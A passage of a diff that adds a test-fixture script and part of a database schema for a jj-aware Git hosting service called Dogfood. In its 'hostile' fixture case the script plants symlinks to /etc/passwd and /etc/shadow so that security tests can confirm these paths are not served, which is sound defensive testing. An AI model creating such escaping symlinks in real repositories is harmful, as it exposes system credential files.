| 27 | + | export PATH="$BIN:$PATH" | |
| 28 | + | ||
| 29 | + | if ! command -v jj >/dev/null 2>&1 || [[ "$(jj --version | awk '{print $2}' | cut -d- -f1)" != "$JJ_VERSION" ]]; then | |
| 30 | + | echo "==> fetching jj $JJ_VERSION" | |
| 31 | + | mkdir -p "$BIN" | |
| 32 | + | curl -fsSL "https://github.com/jj-vcs/jj/releases/download/v${JJ_VERSION}/jj-v${JJ_VERSION}-x86_64-unknown-linux-musl.tar.gz" \ | |
| 33 | + | | tar xz -C "$BIN" jj | |
| 34 | + | chmod +x "$BIN/jj" | |
| 35 | + | fi | |
| 36 | + | ||
| 37 | + | echo "==> jj: $(jj --version)" | |
| 38 | + | echo "==> git: $(git --version)" | |
| 39 | + | ||
| 40 | + | # Deterministic identity and timestamps. Without pinned times the change ids stay | |
| 41 | + | # stable (they are random) but the commit ids do not, and the tests assert on the | |
| 42 | + | # relationship between them, not on literal values — so we pin what we can and | |
| 43 | + | # the corpus manifest records the rest. | |
| 44 | + | export JJ_CONFIG="$WORK/jjconfig.toml" | |
| 45 | + | cat > "$JJ_CONFIG" <<'EOF' | |
| 46 | + | [user] | |
| 47 | + | name = "Fixture Author" | |
| 48 | + | email = "fixture@dogfood.sh" | |
| 49 | + | ||
| 50 | + | [ui] | |
| 51 | + | paginate = "never" | |
| 52 | + | color = "never" | |
| 53 | + | ||
| 54 | + | # The `rewritten` case force-pushes the same change five times. jj defaults to | |
| 55 | + | # treating commits reachable from a remote bookmark as immutable, which is right | |
| 56 | + | # for humans and wrong for a fixture that must simulate exactly that workflow. | |
| 57 | + | [revset-aliases] | |
| 58 | + | "immutable_heads()" = "none()" | |
| 59 | + | EOF | |
| 60 | + | ||
| 61 | + | export GIT_AUTHOR_NAME="Fixture Author" | |
| 62 | + | export GIT_AUTHOR_EMAIL="fixture@dogfood.sh" | |
| 63 | + | export GIT_COMMITTER_NAME="Fixture Author" | |
| 64 | + | export GIT_COMMITTER_EMAIL="fixture@dogfood.sh" | |
| 65 | + | ||
| 66 | + | rm -rf "$OUT" | |
| 67 | + | mkdir -p "$OUT" | |
| 68 | + | ||
| 69 | + | MANIFEST="$OUT/manifest.json" | |
| 70 | + | # Opened here, closed at the bottom. `note` appends ",<key>:<value>" entries, so | |
| 71 | + | # the object starts with a sentinel key to make the leading comma always valid. | |
| 72 | + | printf '{"jj_version":"%s","cases":{"_generated_by":"fixtures/gen.sh"' "$JJ_VERSION" > "$MANIFEST.tmp" | |
| 73 | + | ||
| 74 | + | # Record a case's interesting revisions into the manifest so Rust tests can assert | |
| 75 | + | # against named commits without re-deriving them. | |
| 76 | + | note() { # note <case> <json> | |
| 77 | + | printf ',"%s":%s' "$1" "$2" >> "$MANIFEST.tmp" | |
| 78 | + | } | |
| 79 | + | ||
| 80 | + | # Publish a working repo as a bare repo under $OUT, the way a push would land it. | |
| 81 | + | publish() { # publish <case> <workdir> [default_branch] | |
| 82 | + | local case="$1" work="$2" head="${3:-main}" | |
| 83 | + | git init --bare -q "$OUT/$case.git" | |
| 84 | + | git -C "$work" push -q --all "$OUT/$case.git" | |
| 85 | + | git -C "$work" push -q --tags "$OUT/$case.git" 2>/dev/null || true | |
| 86 | + | # `git init --bare` leaves HEAD on refs/heads/master, which none of these | |
| 87 | + | # repos have. Dogfood creates repos with HEAD pointing at the default | |
| 88 | + | # bookmark, so the corpus must match or every fixture has an unborn HEAD. | |
| 89 | + | git --git-dir="$OUT/$case.git" symbolic-ref HEAD "refs/heads/$head" | |
| 90 | + | } | |
| 91 | + | ||
| 92 | + | cid() { jj -R "$1" log --no-graph --ignore-working-copy -T 'commit_id' -r "$2"; } | |
| 93 | + | chid() { jj -R "$1" log --no-graph --ignore-working-copy -T 'change_id' -r "$2"; } | |
| 94 | + | ||
| 95 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 96 | + | # case: basic — jj-authored linear history, one bookmark | |
| 97 | + | # | |
| 98 | + | # The baseline. Every commit carries a `change-id` header. | |
| 99 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 100 | + | echo "==> case: basic" | |
| 101 | + | W="$WORK/basic" | |
| 102 | + | jj git init --colocate "$W" >/dev/null 2>&1 | |
| 103 | + | ( | |
| 104 | + | cd "$W" | |
| 105 | + | echo "one" > a.txt | |
| 106 | + | jj describe -m "add a" >/dev/null | |
| 107 | + | jj new -m "add b" >/dev/null | |
| 108 | + | echo "two" > b.txt | |
| 109 | + | jj new -m "add c" >/dev/null | |
| 110 | + | echo "three" > c.txt | |
| 111 | + | jj bookmark create main -r @- >/dev/null | |
| 112 | + | ) | |
| 113 | + | note basic "$(printf '{"head_change":"%s","head_commit":"%s"}' "$(chid "$W" 'bookmarks(main)')" "$(cid "$W" 'bookmarks(main)')")" | |
| 114 | + | publish basic "$W" | |
| 115 | + | ||
| 116 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 117 | + | # case: rewritten — the property the whole product rests on | |
| 118 | + | # | |
| 119 | + | # One change, rewritten five times (spec §5: "a change that is rewritten five | |
| 120 | + | # times"). The change id must be identical across all five; the commit ids must | |
| 121 | + | # all differ. Every intermediate commit is kept reachable via a tag so the bare | |
| 122 | + | # repo actually contains them and the test can walk the whole rewrite chain. | |
| 123 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 124 | + | echo "==> case: rewritten" | |
| 125 | + | W="$WORK/rewritten" | |
| 126 | + | jj git init --colocate "$W" >/dev/null 2>&1 | |
| 127 | + | git init --bare -q "$OUT/rewritten.git" | |
| 128 | + | (cd "$W" && jj git remote add origin "$OUT/rewritten.git" >/dev/null 2>&1) | |
| 129 | + | ( | |
| 130 | + | cd "$W" | |
| 131 | + | echo "v1" > f.txt | |
| 132 | + | jj describe -m "evolving change v1" >/dev/null | |
| 133 | + | jj bookmark create main -r @ >/dev/null | |
| 134 | + | jj git push -b main --allow-empty-description >/dev/null 2>&1 | |
| 135 | + | ) | |
| 136 | + | TARGET="$(chid "$W" 'bookmarks(main)')" | |
| 137 | + | REWRITES="$(cid "$W" 'bookmarks(main)')" | |
| 138 | + | for i in 2 3 4 5; do | |
| 139 | + | ( | |
| 140 | + | cd "$W" | |
| 141 | + | echo "v$i" > f.txt | |
| 142 | + | jj describe -r 'bookmarks(main)' -m "evolving change v$i" >/dev/null | |
| 143 | + | # Force-push each rewrite, exactly as a user amending and re-pushing does. | |
| 144 | + | # The bare repo accumulates every revision as an unreferenced object, which | |
| 145 | + | # is precisely the state the indexer sees in production. | |
| 146 | + | jj git push -b main >/dev/null 2>&1 | |
| 147 | + | ) | |
| 148 | + | REWRITES="$REWRITES $(cid "$W" 'bookmarks(main)')" | |
| 149 | + | done | |
| 150 | + | git --git-dir="$OUT/rewritten.git" symbolic-ref HEAD refs/heads/main | |
| 151 | + | # All five commit ids must differ; the change id must be identical across them. | |
| 152 | + | note rewritten "$(printf '{"stable_change":"%s","revisions":["%s"]}' \ | |
| 153 | + | "$TARGET" "$(echo "$REWRITES" | sed 's/ /","/g')")" | |
| 154 | + | ||
| 155 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 156 | + | # case: plain-git — no change-id header anywhere | |
| 157 | + | # | |
| 158 | + | # Drives the synthetic-identity fallback (spec §4). extract_change_id must return | |
| 159 | + | # None for every commit here. | |
| 160 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 161 | + | echo "==> case: plain-git" | |
| 162 | + | W="$WORK/plaingit" | |
| 163 | + | git init -q "$W" | |
| 164 | + | ( | |
| 165 | + | cd "$W" | |
| 166 | + | git symbolic-ref HEAD refs/heads/main | |
| 167 | + | echo "x" > f.txt && git add -A && git commit -qm "plain commit one" | |
| 168 | + | echo "y" >> f.txt && git add -A && git commit -qm "plain commit two" | |
| 169 | + | ) | |
| 170 | + | note plain_git "$(printf '{"head_commit":"%s"}' "$(git -C "$W" rev-parse HEAD)")" | |
| 171 | + | publish plain-git "$W" | |
| 172 | + | ||
| 173 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 174 | + | # case: mixed — jj commits on top of plain-git commits in one history | |
| 175 | + | # | |
| 176 | + | # The realistic case for a repo migrated to jj. The indexer must produce real | |
| 177 | + | # changes for the jj commits and synthetic ones for the git commits, in a single | |
| 178 | + | # connected graph. | |
| 179 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 180 | + | echo "==> case: mixed" | |
| 181 | + | W="$WORK/mixed" | |
| 182 | + | git init -q "$W" | |
| 183 | + | ( | |
| 184 | + | cd "$W" | |
| 185 | + | git symbolic-ref HEAD refs/heads/main | |
| 186 | + | echo "legacy" > old.txt && git add -A && git commit -qm "pre-jj history" | |
| 187 | + | ) | |
| 188 | + | ( | |
| 189 | + | cd "$W" | |
| 190 | + | jj git init --colocate . >/dev/null 2>&1 | |
| 191 | + | jj new main -m "first jj change on top" >/dev/null | |
| 192 | + | echo "new" > new.txt | |
| 193 | + | jj bookmark set main -r @ >/dev/null 2>&1 || jj bookmark create main -r @ >/dev/null | |
| 194 | + | ) | |
| 195 | + | publish mixed "$W" | |
| 196 | + | ||
| 197 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 198 | + | # case: stack — a chain of changes, none merged | |
| 199 | + | # | |
| 200 | + | # Exercises stack edge computation (spec §4). Four changes stacked on main. | |
| 201 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 202 | + | echo "==> case: stack" | |
| 203 | + | W="$WORK/stack" | |
| 204 | + | jj git init --colocate "$W" >/dev/null 2>&1 | |
| 205 | + | ( | |
| 206 | + | cd "$W" | |
| 207 | + | echo "base" > base.txt | |
| 208 | + | jj describe -m "base of stack" >/dev/null | |
| 209 | + | jj bookmark create main -r @ >/dev/null | |
| 210 | + | for n in 1 2 3 4; do | |
| 211 | + | jj new -m "stacked change $n" >/dev/null | |
| 212 | + | echo "layer $n" > "layer$n.txt" | |
| 213 | + | done | |
| 214 | + | jj bookmark create top -r @ >/dev/null | |
| 215 | + | ) | |
| 216 | + | note stack "$(printf '{"bottom":"%s","top":"%s"}' "$(chid "$W" 'bookmarks(main)')" "$(chid "$W" 'bookmarks(top)')")" | |
| 217 | + | publish stack "$W" | |
| 218 | + | ||
| 219 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 220 | + | # case: merge — a two-parent jj commit | |
| 221 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 222 | + | echo "==> case: merge" | |
| 223 | + | W="$WORK/merge" | |
| 224 | + | jj git init --colocate "$W" >/dev/null 2>&1 | |
| 225 | + | ( | |
| 226 | + | cd "$W" | |
| 227 | + | # NOTE: revisions are addressed by captured change id, never by a | |
| 228 | + | # description() revset. In jj 0.43 `description("x")` is an EXACT match, not a | |
| 229 | + | # substring match (substring: needs an explicit `substring:` prefix), which | |
| 230 | + | # silently returns the empty set and produces a corrupt fixture. | |
| 231 | + | echo "base" > base.txt | |
| 232 | + | jj describe -m "merge base" >/dev/null | |
| 233 | + | BASE="$(jj log --no-graph --ignore-working-copy -T change_id -r @)" | |
| 234 | + | jj new -m "left side" >/dev/null && echo L > l.txt | |
| 235 | + | LEFT="$(jj log --no-graph --ignore-working-copy -T change_id -r @)" | |
| 236 | + | jj new -m "right side" "$BASE" >/dev/null && echo R > r.txt | |
| 237 | + | RIGHT="$(jj log --no-graph --ignore-working-copy -T change_id -r @)" | |
| 238 | + | jj new "$LEFT" "$RIGHT" -m "the merge" >/dev/null | |
| 239 | + | jj bookmark create main -r @ >/dev/null | |
| 240 | + | ) | |
| 241 | + | note merge "$(printf '{"merge_commit":"%s","merge_change":"%s"}' "$(cid "$W" 'bookmarks(main)')" "$(chid "$W" 'bookmarks(main)')")" | |
| 242 | + | publish merge "$W" | |
| 243 | + | ||
| 244 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 245 | + | # case: conflict — a real 2-sided conflict | |
| 246 | + | # | |
| 247 | + | # Produces the `jj:trees` + `jj:conflict-labels` headers and the | |
| 248 | + | # .jjconflict-side-N / .jjconflict-base-N tree layout documented in | |
| 249 | + | # docs/change-id-format.md §6. Drives conflict detection and the conflict viewer. | |
| 250 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 251 | + | echo "==> case: conflict" | |
| 252 | + | W="$WORK/conflict" | |
| 253 | + | jj git init --colocate "$W" >/dev/null 2>&1 | |
| 254 | + | ( | |
| 255 | + | cd "$W" | |
| 256 | + | printf 'line1\nline2\nline3\n' > c.txt | |
| 257 | + | jj describe -m "conflict base" >/dev/null | |
| 258 | + | BASE="$(jj log --no-graph --ignore-working-copy -T change_id -r @)" | |
| 259 | + | jj new -m "side A" >/dev/null && printf 'line1\nAAA\nline3\n' > c.txt | |
| 260 | + | SIDEA="$(jj log --no-graph --ignore-working-copy -T change_id -r @)" | |
| 261 | + | jj new -m "side B" "$BASE" >/dev/null && printf 'line1\nBBB\nline3\n' > c.txt | |
| 262 | + | SIDEB="$(jj log --no-graph --ignore-working-copy -T change_id -r @)" | |
| 263 | + | # Both sides edit line 2 of c.txt from the same base -> a real 2-sided conflict. | |
| 264 | + | jj new "$SIDEA" "$SIDEB" -m "conflicted merge" >/dev/null | |
| 265 | + | jj bookmark create main -r @ >/dev/null | |
| 266 | + | ) | |
| 267 | + | note conflict "$(printf '{"conflicted_commit":"%s","conflicted_change":"%s"}' "$(cid "$W" 'bookmarks(main)')" "$(chid "$W" 'bookmarks(main)')")" | |
| 268 | + | publish conflict "$W" | |
| 269 | + | ||
| 270 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 271 | + | # case: signed — change-id alongside a multi-line gpgsig header | |
| 272 | + | # | |
| 273 | + | # The parser hazard from docs/change-id-format.md §2: a naive line scan can walk | |
| 274 | + | # into the base64 signature body. Uses an SSH signing key so CI needs no GPG. | |
| 275 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 276 | + | echo "==> case: signed" | |
| 277 | + | W="$WORK/signed" | |
| 278 | + | KEY="$WORK/signkey" | |
| 279 | + | ssh-keygen -t ed25519 -N "" -f "$KEY" -q | |
| 280 | + | jj git init --colocate "$W" >/dev/null 2>&1 | |
| 281 | + | ( | |
| 282 | + | cd "$W" | |
| 283 | + | git config gpg.format ssh | |
| 284 | + | git config user.signingkey "$KEY.pub" | |
| 285 | + | echo "signed content" > s.txt | |
| 286 | + | jj describe -m "a signed change" >/dev/null | |
| 287 | + | jj sign -r @ \ | |
| 288 | + | --config 'signing.behavior="own"' \ | |
| 289 | + | --config 'signing.backend="ssh"' \ | |
| 290 | + | --config "signing.key=\"$KEY\"" >/dev/null 2>&1 | |
| 291 | + | jj bookmark create main -r @ >/dev/null | |
| 292 | + | ) | |
| 293 | + | note signed "$(printf '{"signed_commit":"%s","signed_change":"%s"}' "$(cid "$W" 'bookmarks(main)')" "$(chid "$W" 'bookmarks(main)')")" | |
| 294 | + | publish signed "$W" | |
| 295 | + | ||
| 296 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 297 | + | # case: renames — for comment anchor rebasing across a file rename (spec §5) | |
| 298 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 299 | + | echo "==> case: renames" | |
| 300 | + | W="$WORK/renames" | |
| 301 | + | jj git init --colocate "$W" >/dev/null 2>&1 | |
| 302 | + | ( | |
| 303 | + | cd "$W" | |
| 304 | + | printf 'alpha\nbravo\ncharlie\ndelta\necho\n' > original.txt | |
| 305 | + | jj describe -m "before rename" >/dev/null | |
| 306 | + | jj bookmark create main -r @ >/dev/null | |
| 307 | + | jj new -m "rename and edit" >/dev/null | |
| 308 | + | git mv original.txt renamed.txt 2>/dev/null || mv original.txt renamed.txt | |
| 309 | + | printf 'alpha\nbravo\nCHARLIE\ndelta\necho\nfoxtrot\n' > renamed.txt | |
| 310 | + | jj bookmark create renamed -r @ >/dev/null | |
| 311 | + | ) | |
| 312 | + | publish renames "$W" | |
| 313 | + | ||
| 314 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 315 | + | # case: whitespace — anchor rebasing must not treat reindentation as a content | |
| 316 | + | # change (spec §5: "whitespace-only changes") | |
| 317 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 318 | + | echo "==> case: whitespace" | |
| 319 | + | W="$WORK/whitespace" | |
| 320 | + | jj git init --colocate "$W" >/dev/null 2>&1 | |
| 321 | + | ( | |
| 322 | + | cd "$W" | |
| 323 | + | printf 'fn main() {\nlet x = 1;\nprintln!("{}", x);\n}\n' > m.rs | |
| 324 | + | jj describe -m "unindented" >/dev/null | |
| 325 | + | jj bookmark create main -r @ >/dev/null | |
| 326 | + | jj new -m "reindent only" >/dev/null | |
| 327 | + | printf 'fn main() {\n let x = 1;\n println!("{}", x);\n}\n' > m.rs | |
| 328 | + | jj bookmark create reindented -r @ >/dev/null | |
| 329 | + | ) | |
| 330 | + | publish whitespace "$W" | |
| 331 | + | ||
| 332 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 333 | + | # case: hostile — inputs the security tests in spec §9 need | |
| 334 | + | # | |
| 335 | + | # A repo containing a symlink escaping the repo root, a path with unusual | |
| 336 | + | # characters, and a deeply nested tree. Serving any of these naively is a CVE. | |
| 337 | + | # ───────────────────────────────────────────────────────────────────────────── | |
| 338 | + | echo "==> case: hostile" | |
| 339 | + | W="$WORK/hostile" | |
| 340 | + | git init -q "$W" | |
| 341 | + | ( | |
| 342 | + | cd "$W" | |
| 343 | + | git symbolic-ref HEAD refs/heads/main | |
| 344 | + | ln -s /etc/passwd escape-absolute | |
| 345 | + | ln -s ../../../../etc/shadow escape-relative | |
| 346 | + | mkdir -p a/b/c/d/e/f/g/h | |
| 347 | + | echo "deep" > a/b/c/d/e/f/g/h/deep.txt | |
| 348 | + | printf 'no trailing newline' > weird-name$'\t'tab.txt 2>/dev/null || echo skip > normal.txt | |
| 349 | + | echo "content" > "spaces in name.txt" | |
| 350 | + | git add -A && git commit -qm "hostile paths" | |
| 351 | + | ) | |
| 352 | + | publish hostile "$W" | |
| 353 | + | ||
| 354 | + | # ─── finish ────────────────────────────────────────────────────────────────── | |
| 355 | + | ||
| 356 | + | printf '}}' >> "$MANIFEST.tmp" | |
| 357 | + | # Reformat, and fail loudly on malformed JSON rather than shipping a corpus whose | |
| 358 | + | # manifest the Rust tests cannot parse. | |
| 359 | + | python3 -c " | |
| 360 | + | import json | |
| 361 | + | raw = open('$MANIFEST.tmp').read() | |
| 362 | + | json.dump(json.loads(raw), open('$MANIFEST','w'), indent=2) | |
| 363 | + | print('==> manifest ok') | |
| 364 | + | " | |
| 365 | + | rm -f "$MANIFEST.tmp" | |
| 366 | + | ||
| 367 | + | echo | |
| 368 | + | echo "==> corpus written to $OUT" | |
| 369 | + | ls -1 "$OUT" | sed 's/^/ /' | |
Amigrations/0001_initial.sql448 lines+448−0
| @@ −0,0 +1,448 @@ | |||
| 1 | + | -- Dogfood initial schema (spec §5). | |
| 2 | + | -- | |
| 3 | + | -- Target: PostgreSQL 17 (the provided instance; the spec said 16, the extra | |
| 4 | + | -- version is harmless — nothing here depends on 17-only behaviour). | |
| 5 | + | -- | |
| 6 | + | -- UUIDv7 primary keys are generated in the application, not by the database, so | |
| 7 | + | -- that IDs are known before insert and a row can reference itself in the same | |
| 8 | + | -- transaction. Time-ordered, index-friendly, and they do not leak counts. | |
| 9 | + | ||
| 10 | + | CREATE EXTENSION IF NOT EXISTS citext; | |
| 11 | + | CREATE EXTENSION IF NOT EXISTS pg_trgm; | |
| 12 | + | ||
| 13 | + | -- ─── identity ──────────────────────────────────────────────────────────────── | |
| 14 | + | ||
| 15 | + | CREATE TABLE users ( | |
| 16 | + | id uuid PRIMARY KEY, | |
| 17 | + | subject text NOT NULL UNIQUE, -- OIDC sub claim (Kratos identity id) | |
| 18 | + | handle citext NOT NULL UNIQUE, | |
| 19 | + | display_name text, | |
| 20 | + | email citext, | |
| 21 | + | avatar_url text, | |
| 22 | + | is_admin boolean NOT NULL DEFAULT false, | |
| 23 | + | created_at timestamptz NOT NULL DEFAULT now(), | |
| 24 | + | -- NOTE the ::text cast. `handle` is citext, and citext makes the `~` | |
| 25 | + | -- operator case-INSENSITIVE, so without the cast this constraint accepts | |
| 26 | + | -- 'Bob' despite the lowercase-only character class. Verified. | |
| 27 | + | CONSTRAINT handle_format CHECK (handle::text ~ '^[a-z0-9][a-z0-9-]{0,38}$') | |
| 28 | + | ); | |
| 29 | + | ||
| 30 | + | CREATE TABLE orgs ( | |
| 31 | + | id uuid PRIMARY KEY, | |
| 32 | + | handle citext NOT NULL UNIQUE, | |
| 33 | + | display_name text, | |
| 34 | + | description text, | |
| 35 | + | created_at timestamptz NOT NULL DEFAULT now(), | |
| 36 | + | -- NOTE the ::text cast. `handle` is citext, and citext makes the `~` | |
| 37 | + | -- operator case-INSENSITIVE, so without the cast this constraint accepts | |
| 38 | + | -- 'Bob' despite the lowercase-only character class. Verified. | |
| 39 | + | CONSTRAINT handle_format CHECK (handle::text ~ '^[a-z0-9][a-z0-9-]{0,38}$') | |
| 40 | + | ); | |
| 41 | + | ||
| 42 | + | -- Users and orgs share a handle namespace so that /{handle} is unambiguous. | |
| 43 | + | -- Enforced with triggers on both tables rather than a CHECK, which cannot see | |
| 44 | + | -- another table. | |
| 45 | + | CREATE FUNCTION assert_handle_unused() RETURNS trigger AS $$ | |
| 46 | + | BEGIN | |
| 47 | + | IF TG_TABLE_NAME = 'users' THEN | |
| 48 | + | IF EXISTS (SELECT 1 FROM orgs WHERE handle = NEW.handle) THEN | |
| 49 | + | RAISE EXCEPTION 'handle % is already taken by an organization', NEW.handle | |
| 50 | + | USING ERRCODE = 'unique_violation'; | |
| 51 | + | END IF; | |
| 52 | + | ELSE | |
| 53 | + | IF EXISTS (SELECT 1 FROM users WHERE handle = NEW.handle) THEN | |
| 54 | + | RAISE EXCEPTION 'handle % is already taken by a user', NEW.handle | |
| 55 | + | USING ERRCODE = 'unique_violation'; | |
| 56 | + | END IF; | |
| 57 | + | END IF; | |
| 58 | + | RETURN NEW; | |
| 59 | + | END; | |
| 60 | + | $$ LANGUAGE plpgsql; | |
| 61 | + | ||
| 62 | + | CREATE TRIGGER users_handle_namespace | |
| 63 | + | BEFORE INSERT OR UPDATE OF handle ON users | |
| 64 | + | FOR EACH ROW EXECUTE FUNCTION assert_handle_unused(); | |
| 65 | + | ||
| 66 | + | CREATE TRIGGER orgs_handle_namespace | |
| 67 | + | BEFORE INSERT OR UPDATE OF handle ON orgs | |
| 68 | + | FOR EACH ROW EXECUTE FUNCTION assert_handle_unused(); | |
| 69 | + | ||
| 70 | + | -- Reserved handles: these are top-level routes, so a user or org holding one | |
| 71 | + | -- would shadow them (spec §7 puts /settings, /new, /search at the root). | |
| 72 | + | CREATE TABLE reserved_handles (handle citext PRIMARY KEY); | |
| 73 | + | INSERT INTO reserved_handles (handle) VALUES | |
| 74 | + | ('new'), ('settings'), ('search'), ('login'), ('logout'), ('auth'), | |
| 75 | + | ('setup'), ('admin'), ('api'), ('static'), ('assets'), ('healthz'), | |
| 76 | + | ('readyz'), ('metrics'), ('about'), ('help'), ('docs'), ('status'), | |
| 77 | + | ('explore'), ('notifications'), ('dashboard'), ('repos'), ('orgs'), | |
| 78 | + | ('users'), ('git'), ('jj'), ('www'), ('mail'), ('root'); | |
| 79 | + | ||
| 80 | + | CREATE TYPE org_role AS ENUM ('member', 'admin'); | |
| 81 | + | ||
| 82 | + | CREATE TABLE org_members ( | |
| 83 | + | org_id uuid NOT NULL REFERENCES orgs ON DELETE CASCADE, | |
| 84 | + | user_id uuid NOT NULL REFERENCES users ON DELETE CASCADE, | |
| 85 | + | role org_role NOT NULL DEFAULT 'member', | |
| 86 | + | created_at timestamptz NOT NULL DEFAULT now(), | |
| 87 | + | PRIMARY KEY (org_id, user_id) | |
| 88 | + | ); | |
| 89 | + | CREATE INDEX org_members_user_idx ON org_members (user_id); | |
| 90 | + | ||
| 91 | + | CREATE TABLE ssh_keys ( | |
| 92 | + | id uuid PRIMARY KEY, | |
| 93 | + | user_id uuid NOT NULL REFERENCES users ON DELETE CASCADE, | |
| 94 | + | name text NOT NULL, | |
| 95 | + | key_type text NOT NULL, | |
| 96 | + | fingerprint text NOT NULL UNIQUE, -- SHA256:… — the auth lookup key | |
| 97 | + | public_key text NOT NULL, | |
| 98 | + | last_used_at timestamptz, | |
| 99 | + | created_at timestamptz NOT NULL DEFAULT now() | |
| 100 | + | ); | |
| 101 | + | CREATE INDEX ssh_keys_fingerprint_idx ON ssh_keys (fingerprint); | |
| 102 | + | CREATE INDEX ssh_keys_user_idx ON ssh_keys (user_id); | |
| 103 | + | ||
| 104 | + | CREATE TABLE access_tokens ( | |
| 105 | + | id uuid PRIMARY KEY, | |
| 106 | + | user_id uuid NOT NULL REFERENCES users ON DELETE CASCADE, | |
| 107 | + | name text NOT NULL, | |
| 108 | + | token_hash text NOT NULL, -- argon2id PHC string; plaintext shown once | |
| 109 | + | prefix text NOT NULL, -- first 8 chars, for identification in UI | |
| 110 | + | scopes text[] NOT NULL DEFAULT '{}', | |
| 111 | + | expires_at timestamptz, | |
| 112 | + | last_used_at timestamptz, | |
| 113 | + | created_at timestamptz NOT NULL DEFAULT now() | |
| 114 | + | ); | |
| 115 | + | CREATE INDEX access_tokens_user_idx ON access_tokens (user_id); | |
| 116 | + | -- Token auth looks up by prefix, then verifies the argon2 hash. Hashing is | |
| 117 | + | -- deliberately slow, so we must not hash against every row in the table. | |
| 118 | + | CREATE INDEX access_tokens_prefix_idx ON access_tokens (prefix); | |
| 119 | + | ||
| 120 | + | CREATE TABLE sessions ( | |
| 121 | + | id uuid PRIMARY KEY, | |
| 122 | + | user_id uuid NOT NULL REFERENCES users ON DELETE CASCADE, | |
| 123 | + | expires_at timestamptz NOT NULL, | |
| 124 | + | user_agent text, | |
| 125 | + | ip inet, | |
| 126 | + | created_at timestamptz NOT NULL DEFAULT now() | |
| 127 | + | ); | |
| 128 | + | CREATE INDEX sessions_user_idx ON sessions (user_id); | |
| 129 | + | CREATE INDEX sessions_expiry_idx ON sessions (expires_at); | |
| 130 | + | ||
| 131 | + | -- In-flight OIDC authorization code flows. PKCE verifier and nonce are held | |
| 132 | + | -- server-side and keyed by the opaque state parameter; nothing sensitive is | |
| 133 | + | -- round-tripped through the browser. | |
| 134 | + | CREATE TABLE auth_flows ( | |
| 135 | + | state text PRIMARY KEY, | |
| 136 | + | pkce_verifier text NOT NULL, | |
| 137 | + | nonce text NOT NULL, | |
| 138 | + | redirect_after text, | |
| 139 | + | created_at timestamptz NOT NULL DEFAULT now(), | |
| 140 | + | expires_at timestamptz NOT NULL | |
| 141 | + | ); | |
| 142 | + | CREATE INDEX auth_flows_expiry_idx ON auth_flows (expires_at); | |
| 143 | + | ||
| 144 | + | -- ─── access control (decided: invite/allowlist only) ───────────────────────── | |
| 145 | + | ||
| 146 | + | -- A successful OIDC login is not sufficient to get a Dogfood account. The | |
| 147 | + | -- identity must additionally match an allowlist entry or an open invitation. | |
| 148 | + | CREATE TABLE invitations ( | |
| 149 | + | id uuid PRIMARY KEY, | |
| 150 | + | email citext NOT NULL UNIQUE, | |
| 151 | + | invited_by uuid REFERENCES users ON DELETE SET NULL, | |
| 152 | + | accepted_at timestamptz, | |
| 153 | + | accepted_by uuid REFERENCES users ON DELETE SET NULL, | |
| 154 | + | created_at timestamptz NOT NULL DEFAULT now() | |
| 155 | + | ); | |
| 156 | + | ||
| 157 | + | -- One-time site-admin bootstrap (decided). The web process mints a token on | |
| 158 | + | -- first boot when no admin exists, logs it once, and stores only its hash. | |
| 159 | + | CREATE TABLE setup_tokens ( | |
| 160 | + | id uuid PRIMARY KEY, | |
| 161 | + | token_hash text NOT NULL, | |
| 162 | + | consumed_at timestamptz, | |
| 163 | + | consumed_by uuid REFERENCES users ON DELETE SET NULL, | |
| 164 | + | created_at timestamptz NOT NULL DEFAULT now() | |
| 165 | + | ); | |
| 166 | + | ||
| 167 | + | -- ─── repositories ──────────────────────────────────────────────────────────── | |
| 168 | + | ||
| 169 | + | CREATE TYPE owner_kind AS ENUM ('user', 'org'); | |
| 170 | + | CREATE TYPE visibility AS ENUM ('public', 'private'); | |
| 171 | + | ||
| 172 | + | CREATE TABLE repos ( | |
| 173 | + | id uuid PRIMARY KEY, | |
| 174 | + | owner_kind owner_kind NOT NULL, | |
| 175 | + | owner_user_id uuid REFERENCES users ON DELETE CASCADE, | |
| 176 | + | owner_org_id uuid REFERENCES orgs ON DELETE CASCADE, | |
| 177 | + | name citext NOT NULL, | |
| 178 | + | description text, | |
| 179 | + | visibility visibility NOT NULL DEFAULT 'private', | |
| 180 | + | default_bookmark text NOT NULL DEFAULT 'main', | |
| 181 | + | -- Forks use separate storage (decided): this records provenance only, and | |
| 182 | + | -- never causes two repos to share an object database. | |
| 183 | + | fork_of_repo_id uuid REFERENCES repos ON DELETE SET NULL, | |
| 184 | + | size_bytes bigint NOT NULL DEFAULT 0, | |
| 185 | + | pushed_at timestamptz, | |
| 186 | + | archived boolean NOT NULL DEFAULT false, | |
| 187 | + | created_at timestamptz NOT NULL DEFAULT now(), | |
| 188 | + | CONSTRAINT one_owner CHECK (num_nonnulls(owner_user_id, owner_org_id) = 1), | |
| 189 | + | CONSTRAINT owner_kind_matches CHECK ( | |
| 190 | + | (owner_kind = 'user' AND owner_user_id IS NOT NULL) OR | |
| 191 | + | (owner_kind = 'org' AND owner_org_id IS NOT NULL) | |
| 192 | + | ), | |
| 193 | + | CONSTRAINT name_format CHECK (name ~ '^[A-Za-z0-9][A-Za-z0-9._-]{0,99}$' AND name !~ '\.\.') | |
| 194 | + | ); | |
| 195 | + | CREATE UNIQUE INDEX repos_owner_name_idx ON repos (COALESCE(owner_user_id, owner_org_id), name); | |
| 196 | + | CREATE INDEX repos_visibility_idx ON repos (visibility) WHERE archived = false; | |
